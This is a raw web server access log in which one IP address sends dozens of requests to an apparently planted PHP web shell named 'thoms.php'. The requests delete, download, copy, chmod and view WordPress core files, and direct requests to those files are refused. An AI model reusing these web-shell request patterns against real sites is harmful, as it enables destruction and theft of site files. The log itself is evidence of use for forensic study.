45.135.193.11 - - [11/Sep/2026:23:18:12 -0400] "GET /bestzyx.com.tw/wp-includes/class-phpass.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:12 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-duotone.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:12 -0400] "GET /thoms.php?del=class-wp-meta-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59347 "http://163.245.207.76:443/thoms.php?del=class-wp-meta-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:12 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-error.php HTTP/1.1" 200 14101 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-error.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:12 -0400] "GET /thoms.php?del=class-wp-theme-json-schema.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-schema.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:12 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-feed-cache.php HTTP/1.1" 200 12412 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-feed-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:12 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-token-map.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:12 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-token-map.php HTTP/1.1" 200 21770 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-token-map.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:12 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-user-request.php HTTP/1.1" 200 12633 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-user-request.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2FText&p= HTTP/1.1" 200 12280 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2FText&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:13 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-theme-json-resolver.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:12 -0400] "GET /thoms.php?del=class-wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59318 "http://163.245.207.76:443/thoms.php?del=class-wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:13 -0400] "GET /bestzyx.com.tw/wp-includes/embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ferror_log&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ferror_log&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:13 -0400] "GET /thoms.php?del=block-bindings.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=block-bindings.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:13 -0400] "GET /bestzyx.com.tw/wp-includes/template-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:13 -0400] "GET /thoms.php?chmod=meta.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=meta.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:13 -0400] "GET /thoms.php?dl=feed-atom-comments.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=feed-atom-comments.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:13 -0400] "GET /thoms.php?del=class-wp-block-parser-block.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-block.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:14 -0400] "GET /bestzyx.com.tw/wp-includes/theme-i18n.json HTTP/1.1" 200 446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:14 -0400] "GET /thoms.php?chmod=session.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=session.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftemplate.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftemplate.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:13 -0400] "GET /thoms.php?dl=comment.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fupdate.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fupdate.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblocks&p= HTTP/1.1" 200 12289 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblocks&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:14 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=block-i18n.json HTTP/1.1" 200 12036 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=block-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:14 -0400] "GET /thoms.php?chmod=class-wp-customize-section.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-section.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:14 -0400] "GET /thoms.php?del=images&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=images&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:14 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-recovery-mode-key-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:14 -0400] "GET /thoms.php?del=class-wp-customize-panel.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-panel.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:14 -0400] "GET /thoms.php?del=class-wp-recovery-mode-link-service.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-link-service.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:15 -0400] "GET /thoms.php?del=class-wp-user-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-user-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:15 -0400] "GET /thoms.php?dl=class-snoopy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59332 "http://163.245.207.76:443/thoms.php?dl=class-snoopy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:15 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-user-meta-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:15 -0400] "GET /thoms.php?dl=class-walker-page.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59293 "http://163.245.207.76:443/thoms.php?dl=class-walker-page.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:15 -0400] "GET /thoms.php?chmod=compat-utf8.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=compat-utf8.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:15 -0400] "GET /bestzyx.com.tw/wp-includes/general-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:15 -0400] "GET /thoms.php?dl=class-wp-term.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59308 "http://163.245.207.76:443/thoms.php?dl=class-wp-term.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:16 -0400] "GET /thoms.php?chmod=icons.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=icons.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:16 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fpomo HTTP/1.1" 200 13557 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fpomo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:15 -0400] "GET /thoms.php?del=class-wpdb.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59363 "http://163.245.207.76:443/thoms.php?del=class-wpdb.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:16 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fstyle-engine&p= HTTP/1.1" 200 12274 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fstyle-engine&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:16 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:16 -0400] "GET /thoms.php?chmod=class-wp-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-wp-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:16 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=registration.php HTTP/1.1" 200 12020 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=registration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:16 -0400] "GET /thoms.php?chmod=spl-autoload-compat.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=spl-autoload-compat.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:16 -0400] "GET /thoms.php?chmod=utf8.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=utf8.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:16 -0400] "GET /thoms.php?dl=class-wp-oembed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:16 -0400] "GET /thoms.php?chmod=class-phpass.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=class-phpass.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:17 -0400] "GET /thoms.php?chmod=class-wp-http-curl.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-curl.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:17 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php HTTP/1.1" 200 14239 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:16 -0400] "GET /thoms.php?del=class-wp-block-patterns-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59230 "http://163.245.207.76:443/thoms.php?del=class-wp-block-patterns-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:17 -0400] "GET /thoms.php?chmod=http.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=http.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:17 -0400] "GET /thoms.php?dl=class-wp-session-tokens.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-session-tokens.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:17 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-type-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:17 -0400] "GET /thoms.php?chmod=nav-menu.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=nav-menu.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:17 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php HTTP/1.1" 200 13000 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:17 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php HTTP/1.1" 200 15374 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:18 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=feed-rss2.php HTTP/1.1" 200 13531 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=feed-rss2.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:17 -0400] "GET /thoms.php?dl=class-wp-speculation-rules.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59254 "http://163.245.207.76:443/thoms.php?dl=class-wp-speculation-rules.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:17 -0400] "GET /thoms.php?dl=class-wp-rewrite.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59331 "http://163.245.207.76:443/thoms.php?dl=class-wp-rewrite.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:17 -0400] "GET /thoms.php?dl=feed-rss.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59308 "http://163.245.207.76:443/thoms.php?dl=feed-rss.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fregistration.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fregistration.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:18 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-term-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:18 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-source.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-source.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:18 -0400] "GET /bestzyx.com.tw/wp-includes/feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
